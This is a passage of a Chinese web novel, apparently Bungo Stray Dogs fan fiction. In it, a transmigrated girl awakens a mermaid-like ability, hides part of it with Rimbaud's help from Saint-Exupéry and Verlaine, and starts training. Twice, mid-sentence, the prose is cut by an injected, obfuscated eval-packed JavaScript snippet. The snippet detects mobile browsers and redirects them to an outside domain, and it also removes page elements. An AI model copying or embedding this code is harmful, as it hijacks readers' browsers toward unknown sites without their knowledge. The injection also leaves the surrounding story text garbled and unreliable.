圣埃克苏佩里:但是因为生活的平和幸福,所以这位琉璃小姐大概反而是在遇到兰波之后才被兰波简单训练了一下,达到了异能力二次觉醒的最低要求,这才导致异能力暴动。 圣埃克苏佩里:我刚到,小王子便说不用帮忙了,这位小小姐应当是异能力在改造身体,二次觉醒,才闹出这么大的动静,现在兰波庄园内的水失控了大半,非常壮观哦。 圣埃克苏佩里放下手机,看向窗外自四面八方汇聚而来的水流,与房间中自床上少女口中隐隐传来惑人心智的歌声,不免有些嫉妒。 自己任务失利怎么就没碰上过这样的好事?就因为兰波失忆了?上次那位花国超越者说的什么来着,否极泰来?自己要不要也给自己来一下? 圣埃克苏佩里心里想着有的没的,全然不管旁人如何。 异能力暴动而已,哪个超越者没经历过,扛过去就好了,受点苦而已。 魏尔伦更不必说了,他能将圣埃克苏佩里带来,也是波德莱尔的意思,不然他才没有这份闲心。 兰波与另外两人不同,他对琉璃有着真切的情感,自然也见不得琉璃受苦,但即便他有替琉璃受罪的想法,可最终也没有办法实现,只能静静的守着琉璃,连眼泪也不敢落下。 * 我意识清醒着,但却懒得有什么举动,只忍着不要呼痛便用尽了所有的力气。 【再忍一忍,我们熬过这个阶段就好了!】系统为我加油鼓气。 我也安慰着自己,没关系的,就差一点点,只要忍过就好了,之后我就不用再受苦了。 往好处想想,以后我能自由控制自己的人类与鲛人两种形态,陆地上待不了还能去海里,多好的事儿啊。 苦中作乐的我对时间已经没有了感知能力,直到疼痛缓缓减退,酥麻痒意方才让我睁开眼查探到底发生了什么。 系统看着后台抢先一步跳出来鲛人形态,疯狂购物用手速在保持战斗力的情况下增加美观度。 为什么要给自己的宿主安一对獠牙啊?!凶神恶煞的!换成吸血鬼一类的小虎牙! 尾巴怎么黑黝黝的带着这么多骨刺啊?!改成五光十色的黑!骨刺变成骨甲!战斗时再变成骨刺! 还有指甲,怎么看上去也奇奇怪怪的?!改,必须改! 身上的花纹也是,换个颜色,金色就很不错。 零零碎碎改了一通后,系统终于松了口气。 统的审美,不容置疑! 看着身上缓缓愈合的伤口,我轻咳了两声,“兰波?” 兰波连忙上前,检查过我身上的伤口,确定已经愈合了大半后,方才垂眸落下珍珠般的眼泪。 美人落泪,我自然是心虚又愧疚,毕竟在做决定之前我都是将最坏的情况都想到才会去做,而兰波放弃我这种事自然也被我归到最坏的情况之中,我拍拍兰波的脊背,见窗边沙发上坐着两个陌生人,便安抚兰波:“我一切都好,但如果再留在这个房间的话,就不确定会如何了。” 毕竟床都被我的血浸湿了,地毯、地板等几乎都被血液染脏,先前不好移动,现在能动了,我肯定要换个地方休息。 兰波听了琉璃的话,又看看房内情况,这才收拾好情绪,想起自己两位同僚还在,抱起我去了另一个房间中。 待我被放在床上后,我方才犹豫道:“没有沙发吗?” 还有陌生人在,我就这么躺在床上似乎不大礼貌的样子。 兰波皱眉:“你刚刚才受伤,在床上躺着就好,沙发太硬了。” 虽然知道琉璃的意思,但还是选择不管旁人如何想的兰波拒绝了来自妹妹的请求,并掏出了我很担心你的必杀牌。 我本身就心虚,自然不会在这种小事上反驳兰波,而且陌生人我又不认识,没礼貌就没礼貌吧。 魏尔伦头一次知道,什么叫睁着眼睛说瞎话。 一旁的圣埃克苏佩里笑得更放肆了,见兰波与那位小小姐互相安抚过后,放凑上前询问:“请问这位琉璃小姐,您的异能力是什么呢?” 我不懂法语,只知道基础的日常用语,听了这话便愣了一下,看向兰波,兰波翻译到:“他问你的异能力是什么。” 我摇摇头,“抱歉,我也不知道。” 兰波转头翻译给圣埃克苏佩里,而后补充道:“琉璃虽然是法日混血,但是只会基础的法语,而且从前琉璃并不在法国与日本生活。” 比起法国与日本,显然琉璃的父母认为花国是一个更加安全的地方,琉璃从前也生活在花国,那个古老的国家。 所以琉璃对法国与日本都没有感情,反而对花国因为美食的原因十分喜爱。 这是兰波探查到的情报,有些是琉璃主动告知的,还有些是兰波自己发现的,但无论如何,兰波既然选择将琉璃带在身边,就不可能让日本那个小地方的人再勾引琉璃回去。 圣埃克苏佩里不知兰波这些心思,只是转而用英语询问:“那琉璃小姐知道您方才异能力暴动发生了什么吗?” 我困惑地看向面前这位先生,同样使用英语回复:“抱歉,刚刚我因为疼痛并没有多余的心思关心窗外……是发生了什么很恶劣的 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圣埃克苏佩里抽抽嘴角:“你也不必跟护食的野狼一样,毕竟你我都知晓,这些事就算没有我,照样也有别人来询问,与其是旁人,不如是我。” 兰波沉默了,的确,圣埃克苏佩里在公社之内也算是有良心的存在了,而且圣埃克苏佩里的话基本上就是明摆着说,你要是能糊弄住我,我就帮你糊弄上面。 至于原因?啊,不需要原因,法国人尊重自己的欲望与本心,想做就做了。 兰波看向我,小声将自己的想法和圣埃克苏佩里的话告知了我。 而我其实并不在意这个,既然有人问,便坦然道:“我的确不知道,不过……” 我变成鲛人的模样,先是对兰波笑笑,而后对圣埃克苏佩里轻声道:“大概的确是跟鲛人、海妖、人鱼一类的幻想生物有些关联的。” 毕竟外形就足以证明这一点了。 不过在开口之后,我也反应过来,这三类存在或多或少在声音上都对旁人有特攻…… 再抬头一看,哦,这位自称什么……圣埃克苏佩里,对,外国人名字有点长了,但这位先生眼中的好奇越发严重,边上一直没有开口的金发男人则是双眼放光,好像我是什么珍贵宝物一样。 只有兰波!态度一如既往啊! 我流下两滴眼泪,而后看着刚刚脱离眼眶就变成圆润珍珠的眼泪沉默了,一旁的兰波连忙柔声道:“泣泪成珠,音可惑人,还可以操控水域,我们琉璃是非常强大的异能力者哦!” 我瞥了一眼兰波,吐槽兰波:“这种时候你能不能不要溺爱我啊,有人在,你能不能正常一点?” 兰波有些委屈,“我说的是真心话呀,琉璃要不要看看我的真心?” 系统困惑道:【他玩真的?人类没了心脏就死了吧?说他是男鬼他不会真要当男鬼吧?!】 系统吓得半死,我捏着兰波的脸,趁着一旁两个陌生人还没回神,笑眯眯道:“死去之物没有价值,你活着无论如何我都会在你身边,就算离开也只是短暂的,可你若是死了,我只会在短暂的伤心后离开这个伤心之地,听见了吗?” 兰波含糊道:“听到了,你不要生气……” 我轻哼一声,收回鱼尾,变回人形,而后一旁那金发男人便近前一步,看着我十分严肃道:“你也是我妹妹吗?” 与魏尔伦一样回过神正在感慨异能力者多样化的圣埃克苏佩里沉默了。 啊?不是哥们,你搭档刚帮你把你弟弟那档子事儿摆平,你转身就要把你搭档带回来的额……暂时算是妹妹吧,你转身就要把你搭档的妹妹也给带走? 物理背刺还不够,心灵上还要再来一次吗? 圣埃克苏佩里感觉自己吃到了个大瓜。 兰波维持不住自己温柔的兄长形象了,狞笑道:“魏尔伦,你刚刚说什么?” 你有胆就再给我重复一遍啊! 我面无表情从身边薅了个抱枕抱着,心想:挺好的,乱成一锅粥了,趁乱喝掉得了。 9. 深林 魏尔伦本想忽视兰波,但想起兰波递给自己那个帽子时的表情,又开口道:“我看见了,她不是人类,所以肯定也是我的妹妹。” 什么?那是异能力的作用?但也没有哪个异能力是把自己变成异族的吧? 兰波气笑了,但顾及琉璃还在,便只是对圣埃克苏佩里黑着脸道:“把他带走,让他去找自己的弟弟去,不要当什么人贩子拐走别人家的妹妹!” 圣埃克苏佩里严肃道:“兰波,你应该知道,如今这位小姐已经有了超越者预备役的潜力,既然如此上面绝对不会像之前一样默认不管的,与其之后要劳烦波德莱尔,不如现在由三位超越者为其背书。” 能同时得到三位超越者背书,那么即便日后有破绽,也不会有人提出疑问,毕竟一位超越者就已经足够让人头痛了,三位超越者身后所牵连的利益、势力、人脉,都不是能被轻易忽视的。 也就是圣埃克苏佩里还有点良心,这才愿意多说两句…… 兰波黑着脸,但还是小声询问琉璃能否公布一部分异能力的情报。 * 我听见兰波的话,其实有些想吐槽,你为什么认为我能知道自己的异能力是什么啊? 系统连忙将面板调出:【因为异能力者在觉醒异能力后就能清楚知道了,所以兰波他们都以为你是不想说来的。】 我:【外面下雪了吗?我冤啊!】 系统:【没下雪但是有人哭倒了城墙……好了不开玩笑,你快将面板上关于鲛人的能力说出来,另一个就不要说了,当成咱们的底牌。】 我低头看了一眼面板,记下后方才小声按照系统给出的记录说:“可以控制海水与一部分的淡水、眼泪化成的珍珠捏碎可以治愈伤口、第二形态可以用声音将人蛊惑到身边、可以控制一部分的天气……” 至于什么可以与水生动物沟通、可以长生,这种就没必要说了,我又不想当什么情报人员。 而且如果说出来我就不是什么好苗子,而是好料子了。 实验室的好料子。 兰波颔首,小声问我:“之后大概我们要去测试异能力的强度如何,如果你拥有成为超越者的潜力,待遇会更好,要去吗?” 我靠着兰波,用手挡住嘴:“我如果去了,能做什么呢?” 兰波想了想,温和道:“你的治愈能力能做到什么程度?” “断肢再造,重伤变为轻伤,轻伤直接痊愈,但是不能治愈疾病。”我轻叹道:“但只要在你身边,我要如何才能哭出来呢?” 我边说,边将手里的两颗珍珠塞进兰波手里,兰波抿唇轻笑:“那就看你想做辅助的治疗人员还是编外人员了。” 辅助治疗人员明面上就能理解,可编外人员兰波却需要简单解释一二。 “很大一部分超越者喜欢自由,所以只领了个编外人员的头衔,除非强制召集,否则一般情况下都是根据报酬丰厚程度接取任务……但是报酬丰厚,时间自由。”兰波如是道。 我当即便道:“第二个,我要当编外人员!” 兰波颔首,并没有说一个能够断肢重生的治疗异能力者只想成为编外人员是多么困难的事,只是柔声道:“那我们就要将能力隐藏一部分。” 兰波顿了顿,换了个话题:“或者说将你已经告知我的部分再隐藏一部分,让他人认为你有潜力,却暂时还没有挖掘这样的能力。” 我知道,兰波看出我的心虚,知道我已经隐藏了一部分的能力,但这本就是我故意让兰波知晓的,所以我也只是问兰波要隐藏哪一部分。 兰波思索片刻,与我说:“隐藏能力适用范围吧。” 我心下了然,的确,如果能控制海水与一部分的淡水还没有范围的话,那么就太危险了,而且一个能打能奶的异能者太危险了,但是换成一个有能力自保的奶妈,就不会有人觉得危险。 嗯……人类的劣根性。 圣埃克苏佩里轻咳两声,示意这两位在自己面前商量的兄妹克制一点,他知道,兰波应当才是这次负责做主的存在,便问兰波:“所以这位小姐的异能力是什么呢?” 兰波平静道:“是治愈能力,但鲛人形态可以控制一部分的天气与海水,只不过距离上有所限制,声音如果不注意控制也可以蛊惑他人心智……但超越者对此有抵抗力。” 听到治愈能力,圣埃克苏佩里就已经很满意了,挺好的,没把自己当成傻子糊弄,还是说了一部分可以糊弄上面的能力的,但当他听到还有其他方面可以说时,方才明白为什么小王子说不用帮忙了。 这还帮什么啊?人家觉醒能力是痛苦了点,但这个潜力,这个多方面发展的状态,你告诉我这不是超越者我都不信! 而且这两个家伙肯定隐藏了!保不准现在人家就是超越者预备役了! 圣埃克苏佩里抽抽嘴角:“确定了吗?之后可是要测试的。” 确定没有什么隐藏不住的能力了吗?之后测试的时候要是暴露了我可不会帮忙说好话。 兰波肯定道:“没错,而且琉璃没有经过锻炼,所以杀伤力方面有所欠缺,我认为让琉璃成为编外人员就好。” 圣埃克苏佩里有些犹豫,“但是这个潜力……”你要怎么解决? 魏尔伦也打起精神看着兰波。 兰波平静道:“直说,毕竟一个难以自保的治愈型异能力者不需要四处奔忙,而只要我还平安存在,琉璃就不会选择离开法国……” 说到这儿,兰波垂眸浅笑:“琉璃已经决定了,以后跟我生活在一起,等之后琉璃成年就去办理法国国籍,到时候琉璃就是法国人了。” 圣埃克苏佩里了然:“那倒是可以,只不过可能还是需要波德莱尔帮忙,你去说?” 兰波颔首:“我去说。” 送走了串好口供的圣埃克苏佩里后,兰波强硬将魏尔伦送走。 而我也在女仆长的帮助下洗了澡换了一身家居服。 我走到兰波身边,看向窗外的落日,轻声问:“兰波不好奇我为什么隐瞒吗?” 虽然我自认无辜,但也的确明白了,为什么先前兰波如此没有安全感。 毕竟在兰波眼里,我大概是一个连异能力有什么能力都不愿意告知的坏妹妹,兰波自然会担心我哪一日抛下他离开……虽然的确有这个可能。 兰波穿着一件轻薄的丝绸衬衫,从前那些怕冷的症状在恢复记忆后已经消失不见,我仔细打量着兰波,依旧带着些阴郁,但他在我面前似乎永远都带着笑意。 即便是我与他争吵的最厉害的时候,他也从不曾说过一句重话。 兰波从容道:“你会不告而别吗?” “不会……如果离开的话,大概也会告知你我要去往何处。”我轻轻牵着兰波的衣袖,轻声询问:“兰波呢?我曾经几乎拿着一把刀,仗着你的纵容,将你的心与善意戳的细碎,可你为什么从来没有怪我呢?” “因为你在哭泣。”兰波温柔的眼睛注视着我,我好像是被月光凝视一样,几乎不能呼吸,等待着这个答案的降临。 因为你的眼睛在告诉我,带走我,别管那些嘴上的推拒,因为你的动作在挽留我,希望我能将你带离这里,因为我看见了,你如此喜爱我,无论是容貌还是什么,我如此吸引着你,就像是两只同样寂寞同样自弃的飞鸟相遇了一样,它们互相吸引着彼此,互相了解着彼此,互相抚慰着彼此一样。 你在哭着说,请带我离开这里,不要抛弃我。 兰波反握住一直牵着自己衣袖的手,轻叹道:“你希望我带你离开,你爱着我,所以我带你离开,即便你拒绝,即便你说让我一个人孤零零的离开那个地方,可是我总是认为有些话是不必说出口,只从眼睛里就能看见的。” 琉璃像是什么呢? 兰波在琉璃在飞机上睡着后坐在琉璃床前想了很久,最后想起琉璃那双永远幽深的眼睛时,方才恍然。 是深林。 那是因为长久的沉默、无人拜访,而逐渐将真实的自己掩埋在枯叶之下的深林,是即便生长的笔直,却依旧有藤蔓丛生,依旧将树根蔓延至远处无声展现真实性情的直白,是流淌过深林最后轻轻自树梢落下的、渴望他人理解的果实,是长久没有雨水降临而即将枯萎只保留了外表完好的外壳。 我眼前突然模糊起来,等到眼泪落下,方才恍然,原来这个人在短短的相处之中,便已经发现了一切,强硬又温柔的将我拽出那个安全区,而后又将控制他的缰绳交给我。 胡乱擦掉眼泪后,我无声笑了起来,“兰波能不能告诉我,为什么会如此偏爱我吗?” 我被兰波牵着手,回到了床上坐下,兰波垂眸为我整理了杂乱的发丝,而后方才困惑道:“我始终不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075312|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明白,为什么你们都认为偏爱需要理由。” 兰波的眼睛就想笼罩了一层轻薄的烟雾一样,我被他注视时,心脏跳动的速度不自觉加快,仿佛他手中掌控着决定我心脏快慢的按钮一样。 “我偏爱你,只是因为你值得。” 为什么你要自卑呢?我亲爱的妹妹? 我被兰波捧起脸,他单手便能将我的脸覆盖,却还是小心翼翼,轻柔的与我唇对唇,留下一个轻柔却也毫无情欲意味的温,就像是一片花瓣吹落在身上,轻轻地触碰了我而后又像是被一阵风带走一样。 什么都没有带走。 兰波注视着我。 没有任何一刻能让我如此时此刻一般清晰这件事。 他注视着我,而我被他注视着。 我所有的思绪都在这一吻下消失不见,而兰波却只是将头放在我的肩颈处,喃喃道:“偏爱你并不需要理由,所有人在见到你的时候都会选择偏爱你、喜爱你。” “我之所以能被琉璃注视,只是我提前所有人一步,只是我希望琉璃能像我爱着你一样,给予我同样的爱,所以无论过去、现在、未来,无论死生,无论何时何事,我都会无条件的支持你、爱着你,我会一直注视着你。” 就像你曾经许下的诺言一样,我可以永远注视你,永远被你所偏爱。 兰波炽热的呼吸烫得我几乎落下眼泪,可等到最后,我却也没有落下眼泪,反倒是不知抱着怎样的心态,对兰波说:“这次说好了……一定要一直一直的爱着我,所有人都不可以超越我,而我,无论去往何处,最后都会选择回到兰波身边。” 这是我对兰波的许诺,也是一个卑劣者对一个受害者的许诺。 是的,我察觉了,兰波的异常全部都是因为我的异能力。 一位超越者不可能因为失去记忆就停留在一个女孩身边,一个失忆者也不可能因为一点微弱的善意就忽略一切的一场,尤其是在我见到另外两名陌生的超越者后,我更肯定了这一点。 他们似乎都对我带有一种微弱却不可掩盖的好感。 这不正常。 我靠在兰波胸膛处,听着他平稳的心跳,阖眼告诉自己。 这不正常。 那是超越者啊,那是即便失忆却也不会丢失自傲与自信的超越者啊,为什么会如此对我呢? 【是啊,为什么呢?】系统尬笑两声,而后急切解释道:【但兰波不一样,他真的不一样,他是发自内心爱怜你的!这个绝对不是能力的操控!】 【你的意思是一个高高在上的超越者爱怜我?】我困惑道:【这正常吗?这合理吗?】 系统肯定道:【真的!这个真的不是能力的问题!你看同样是被能力影响,魏尔伦就是想把你当成妹妹带在身边,圣埃克苏佩里就是想看个热闹顺带搞点事让法国的大人物被蒙蔽借此得到快乐,但兰波不一样啊!】 我质疑道:【但为什么兰波说话还是奇奇怪怪的?!态度也是!】 系统给出了最能让我相信的理由:【他是法国人。】 【而且,兴许是兰波就喜欢你呢?有些人就是会这样的,我敢保证,要是咱们有个什么好感显示器,兰波对你的好感绝对超过九十了!对于一个谍报员而言这就相当于他愿意为你去死!】 在系统慌乱下显得格外真切的理由让我终于放下质疑兰波情感的心。 当我与系统对话结束,再次看向兰波时,我没了那份愧疚,但那份因兰波话语而急切跳动的心却并没有因此而减缓速度。 或许,真的如系统所说,或许,我的确有了一个能够让我看到便能露出真心笑容的,如兄如友却又宛若爱人一般永远陪伴我的存在。 系统擦擦冷汗,看着更新的异能力情报,只感觉自己终于解释清楚了。 毕竟兰波虽然最开始微弱的好感的确是能力的原因,但之后的确没有异能力的操纵啊!自己跟能力都是无辜的! 【异能力:失而复得 能力解析:圣女贞德曾向主祈祷,可主不曾给予回应,于死亡前夕,贞德方才顿悟,死后化作白鸽。 你需死去,方可成圣,你需失去,方能得到。 效果: 其一:舍弃生命也不惜得到庇护的少女被神所注视,在神的善心下,她终于有了喘息之所。 需自行探索。】 10. 锻炼 自从那一日我的异能力终于有能被我所看懂之处后,我方才知晓,为什么兰波会在失去记忆后即便知晓自己没有妹妹和恋人却依旧选择留下我而不是抛下我。 原来早在我相信系统,并为此舍弃更为安全的求生之路时,我所奔向的烈火早就为我悄然打开一条或许更为艰难,但却能让我习惯后更为顺遂的道路。 失而复得……失去未知的安稳生活,却得到了更多……那如果失去生命呢? 我不免想的更多、更深了些。 虽然我心里知晓,并不是所有失去都会为我带来更多的得到,但这并不妨碍我幻想,毕竟在来到异世界之前,我也只是一个普通人而已。 说远了,该说说近的,自从我异能力暴动缓缓平复下去后,兰波瞧着也越发忙碌了。 庄园时常会有些客人上门,但由于法国人的名字实在是让我难以将完整的人名记下,所以接近一周过去,能被我记住的也只有时常将中也带过来、对我并没有再喊什么妹妹,但态度也温和许多的魏尔伦先生。 至于兰波的老师,那位名为波德莱尔的先生,我也询问过兰波是否需要过去拜访。 兰波对此的回答是无所谓。 “法国并不像远东一样讲究这种礼貌。”兰波坐在书桌后处理这段时间离开而堆积的文件。 虽然还需要暂时停职调查,但任谁都知道远东这种小地方想收买一位超越者是绝不可能的事,所以该做的事兰波还是要照做,什么调查也就是意思意思而已。 毕竟战争都接近尾声了,接下来各国也该收获各自的战利品了,尤其是那些没有超越者还非要挤进来搞事的小国,被大国瓜分也不是什么需要隐藏的事实。 兰波放下手中的文件看向我,轻笑道:“最重要的是你的能力还没有彻底稳定,目前就算你想去拜访,我也不赞同。” 不赞同,但你执着的话我还是会顺从你的选择。 我心里自动翻译了兰波的话,而后方才询问兰波:“那之前为什么说还需要去测试异能力?” 兰波起身坐到我身边,解释道:“一般的异能力者是不必做测试的,毕竟大部分异能力者连超越者的边都没碰上,只需要简单登记知道有这个人、这个人的异能力是什么就好。” 毕竟大家也没有悠闲到出现个异能力者就要仔细调查,即便是法国的超越者,该工作也是要工作的,异能力测试主要面对的是异能力暴动过的异能力者. “而异能力暴动过的异能力者则必须接受异能力测试,起码法国、英国、花国这些国家里的确如此。”兰波倒了两杯红茶,将其中一杯推到我手边。 我个人对红茶一般,更偏爱茉莉花茶,但有什么茶就喝什么茶,对茶水而言,只要不是差的太过分,我都可以接受,只不过并没有立刻拿起红茶的模样还是被兰波察觉了不对。 兰波叫来管家为我换了我曾经随口说过喜欢喝的橙汁,又让管家将红茶端了下去,而后方才继续与我闲聊。 “大国的本钱就在于如果出现异能力暴动的能力者,他们可以花费大量的时间、资源来培养其成为超越者,而小国不行。” 如果说世界之中各个大国的超越者一半是天生的,一半是培养的,那小国之中的超越者就绝对是天生的。 因为小国没有经验、没有时间、没有资源,所以每一个小国能出现的超越者,无一例外都是足以被人侧目的天才。 换句直白些的话来讲,能因为异能力暴动而惊动超越者们的存在,一定也是有潜力能成为超越者的同类。 我顿悟了,“所以为了防止遗漏好苗子,才需要去做异能力测试,那如果出错了呢?” 兰波十分明显的愣了一下,而后低头细细思索片刻,方才迟疑道:“起码目前我所得知的情报内,能扛过异能力暴动的人,都是超越者或超越者预备役。” 扛不过的人自然就是没了,没什么好说的,但能扛过的就算不是超越者,也是个超越者预备役,耗费一点时间做个测试倒也没什么。 就当提前了解新同僚了。 至于意外,至少兰波还没有发现过这种意外。 虽然琉璃并不打算加入巴黎公社成为自己的同僚,但兰波并不认为琉璃需要避开老师他们,毕竟大家日后都是抬头不见低头见的,庄园也不是没有人过来,见个面认识一下,日后自己脱不开身还可以拜托同僚过来帮帮忙嘛。 什么?魏尔伦?兰波觉得自己如果放魏尔伦单独跟琉璃相处,那等自己回来保不准妹妹就跟魏尔伦还有中原中也成为相亲相爱的一家人了。 兰波相信魏尔伦的实力,也相信魏尔伦如今越发向着拟人进化的努力,但不相信魏尔伦面对琉璃的良心。 都是搭档,谁还不知道谁呢? 虽然兰波在这方面也弄不清楚魏尔伦的脑回路,但不妨碍兰波阻止魏尔伦搞事。 我有些心虚,敲了敲系统:【确定没问题吧?我们不会露馅吧?】 系统肯定道:【没问题的!就是你目前展现出来的能力都足以让人重视你了,更别提咱们还有隐藏的能力了,过上几年之后咱们总不能一点进步都没有吧?】 我想了想,觉得也是,自己要真是一点进步也没有那也不正常,便对还不曾到来的测试放松了许多。 和兰波一起来到法国后,我便在庄园内安顿下来,兰波拥有的庄园占地极大,包含了城堡、湖泊、马场、牧场等等一系列的存在,城堡内,在保留一部分古典欧式建筑之上增加了现代便利生活的家电,我在异能力暴动慢慢减缓后,便与停职待查的兰波一同逛遍了城堡及其周围。 再远了的地方我也没有心思去逛,毕竟兰波在变回正常人类后,便给我安排了许多课程。 堪称要将我培养成即拥有文学素养又能武力震慑他人的文武全才。 “我觉得你对我的期望不能这么高。”我看着密密麻麻的课表,只觉得整个人的灵魂都要飘出来了似的。 我虽然不是过来享福的,但也不是过来受罪的啊!兰波这是干什么呀?我当年高三都没有这么拥挤的行程! 我强硬的拒绝下,还没开始冷战,兰波便一退再退,最后只留下几门兰波认为必须要学习的课程,我们两个这才再度和好。 其实我十分怀疑,会不会最初兰波想让我学习的就是这些课程,只不过担心我不想努力,才在开窗之前通知我要拆掉屋顶,但我也没有证据,而且兰波的确是为了我好,我总不能狼心狗肺忽略这点,便没提这些疑点。 “异能力很大一部分还是跟异能力者的体质相关的。”兰波带我来到特制的训练场,牵着我的手,白色羊毛衫勾勒出精瘦的腰线。 兰波本身就长在我的审美点上,而自从我与兰波谈过心后,我平日里便在靠近兰波时,举动格外放肆几分,反倒是兰波,没了从前被系统锐评为男鬼的模样,不过却也从来都没有对我的举动说什么,默认了我的行为。 “这段时间中也的身体检查报告出来,魏尔伦正忙着带中也补身体,根本原因就是因为中也异能力觉醒后使用的次数过于频繁,从前又是在实验室作为实验体存在。” “对于异能力者而言,异能力越强大,反而越要克制、锻炼,身体的强度如果跟不上异能力的强度,反而是耽误自身发展。” 兰波拿中也举例:“就比如说……中也,就是因为之前被那个流浪团体捡走后滥用异能力,所以现在身体生长已经受限,魏尔伦正为此而头痛呢。” 兰波对中原中也没有感情,对魏尔伦倒是有,但也仅限于愿意在魏尔伦寻求帮助时帮忙,所以拿中原中也举例时毫无犹豫。 我跟中也关系倒是不错,也察觉出了兰波对中也的冷淡,可…… 那又如何? 我说过,我永远都会无条件偏爱兰波,而且这是事实,兰波只是将其描述出来而已,没什么好生气的。 我穿着锻炼适合的短袖短裤,按照兰波的要求热身后,缓缓绕着训练场跑步。 不是兰波没有别的训练计划,只是如今的我虽然觉醒了他人眼中的异能力,也被一部分知情人认定为拥有成为超越者的潜力,但是体能却还是一如既往的菜鸡,而兰波认为,异能力再强大,个人的体质还是不可忽视的基础。 所以…… “开始锻炼体能吧,第一周先从跑步开始,之后根据实际情况慢慢增加。”兰波轻松跟在我身边,脸不红气不喘的与我聊天:“最近战争要结束了,有七位超越者联手绑架了各国的领导。” 我觉醒了鲛人血脉后体能也随之上升,而且刚开始锻炼,脚步还算轻快,不过因为不知内情,所以只是听着兰波的话,并没有开口,兰波也不在意,而是说着一般人甚至花钱都买不到的隐秘消息:“法国也有超越者参与其中……不过有人出手也不奇怪,再不结束,大家也都要打出火气了。” 本来嘛,大家不能说有多和谐,但见面也不至于一定要打起来,可现在只要是战争国的超越者彼此碰面了就一定要装装样子,超越者跟超越者打起来涉及的范围之广是寻常人难以想象的,又要克制,又要有些大场面能糊弄人,还不能伤到自己跟对面的家伙…… 太难为人了,超越者也是人啊! 最顶尖的超越者们数量稀少,而且发号施令的那些上司也不一定希望他们真的打生打死,所以演戏就成了战争期间超越者们的必备技能之一。 之二就是如何糊弄上司,之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075313|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三是如何保证人员伤亡不要过大,战争范围不要过广。 总而言之,大家都是心知肚明的演戏,等待一切结束后重新分配利益,但演戏演久了也容易入戏,假架打久了也容易打出火气。 所以现在能有人勇敢的站出来背锅,兰波猜测估计不少超越者心里还要松口气呢。 我倒是并不惊讶,毕竟学过历史的都知道,战争过后的几年,各项资源反倒会提升许多,于是便平静道:“这很正常,战争本身就是因为人口过多利益分配不均需要重新洗盘才持续了这么长时间,如今该分配的利益都分了个七七八八,剩下的也都是之后谈判需要讨论的了。” 人口过多,粮食产量跟不上,各种资源短缺,就会引起战争,从前对内,如今对外,并没有什么值得惊讶的。 不过之后这样席卷整个世界的战争,百年内应当不会出现,但也不敢肯定,毕竟异世界,谁知道会发展成什么样。 兰波毫不惊讶,匀速跟在我身边,那副理所应当的模样好像我说什么他都能鼓掌叫好一样。 “战争接近尾声,之后大概就是上面负责讨论的事了,不过按照惯例,公社内的超越者也要有一部分前往会议当个吉祥物。”兰波省略了法国那位搞事的超越者是谁,直接将话题跳转到战后利益分配。 我并不关心这些,就我个人而言,日本跟法国我都没什么好感,但由于兰波的原因,所以我愿意留在法国,不是因为法国的待遇更好,而是单纯的因为兰波。 兰波在法国,我就在法国,兰波在意大利,我就在意大利,重要的是兰波,而不是其他的外在条件。 如果有一日兰波去世,我会找到杀害兰波的人与罪魁祸首,为兰波报仇后将他仇人的头颅摆在兰波坟墓之前上供,最后离开这里。 兰波不在了,这个世界就没有继续停留的必要,于我而言,金银珠宝大概都比不上兰波看我时含笑的双眼。 锻炼结束后,我被兰波抱进浴室,负责照顾我的女仆长莉诺女士早就将浴室内我可能会用到的存在准备齐全,兰波将我放在浴室内的椅子上,方才道:“好了,快去泡澡吧,下午还要继续学习法语哦。” 我只想叹气,“这日子什么时候是个头呢?” 兰波拍了拍我的头,声音自头顶传来:“什么时候你能独自对战一位超越者不落下风,什么时候你的课程就可以停下了。” 学习法语只是为了便于交流,不需要十分精通,日常之中能够正常使用就好,剩下的慢慢学就足够了,但是训练是不能停的。 我泡在浴缸内,浑身疲乏,想起那一摞兰波规划出的训练计划,就觉得人生无望。 系统安慰道:【起码咱们这个世界能多多锻炼自己、充实自己,我听我的同事说,有些宿主一直依赖系统,结果有一次来不及找系统,就被那个世界的蜘蛛杀了。】 【什么蜘蛛这么厉害?】我来了兴趣,能单杀一个被系统保护的宿主,肯定是毒素极强的蜘蛛吧? 系统翻了翻,不太确定:【好像是个叫蜘蛛的盗贼团,里面都是那个世界的年轻强者,具体的我也不太清楚,你知道的,我跟主系统那边联系不上,不能申请查阅资料。】 我有些失望,系统见了便吐槽:【我怎么感觉你对蜘蛛的好奇比对人的好奇还重?】 【在拥有系统保护的前提下,在商城售卖解毒血清的情况下,一个宿主能被蜘蛛单杀,是你你会关心那个弱鸡同僚还是关心那个毒素超强的蜘蛛?】 系统沉默了,好半晌方才轻声问我:【既然恢复精神了,那我问你,如今你便不愿意离开兰波,日后等你完成任务后,你是打算送走兰波再离开,还是……】 我揪着水面上的花瓣,没有回答,系统似乎也并不是要得到一个答案,它只是与我说:【我希望你能在这个世界充实自己,拥有自保能力,但如果你不打算前往下一个世界,我也并不会催促你,只是你真的甘心平淡吗?】 你真的能在见证过这样的异世,拥有这样的能力后还选择归于平淡吗? 对于我而言,连思考都不必,我就能得出一个肯定的答案。 在之后的一个月内,我的异能力慢慢平复,体能也在兰波的带领下稳步提升,系统也没再提那些话,而是继续跟我吐槽兰波演技越来越差,感觉又有点要感情变质的意思。 我对此倒是不像从前一样避躲,而是放任了兰波的行为。 感情变质那就变质,兰波就算感情变质,也不会选择强迫我做什么,只会在一旁静静注视我,等待我发现他。 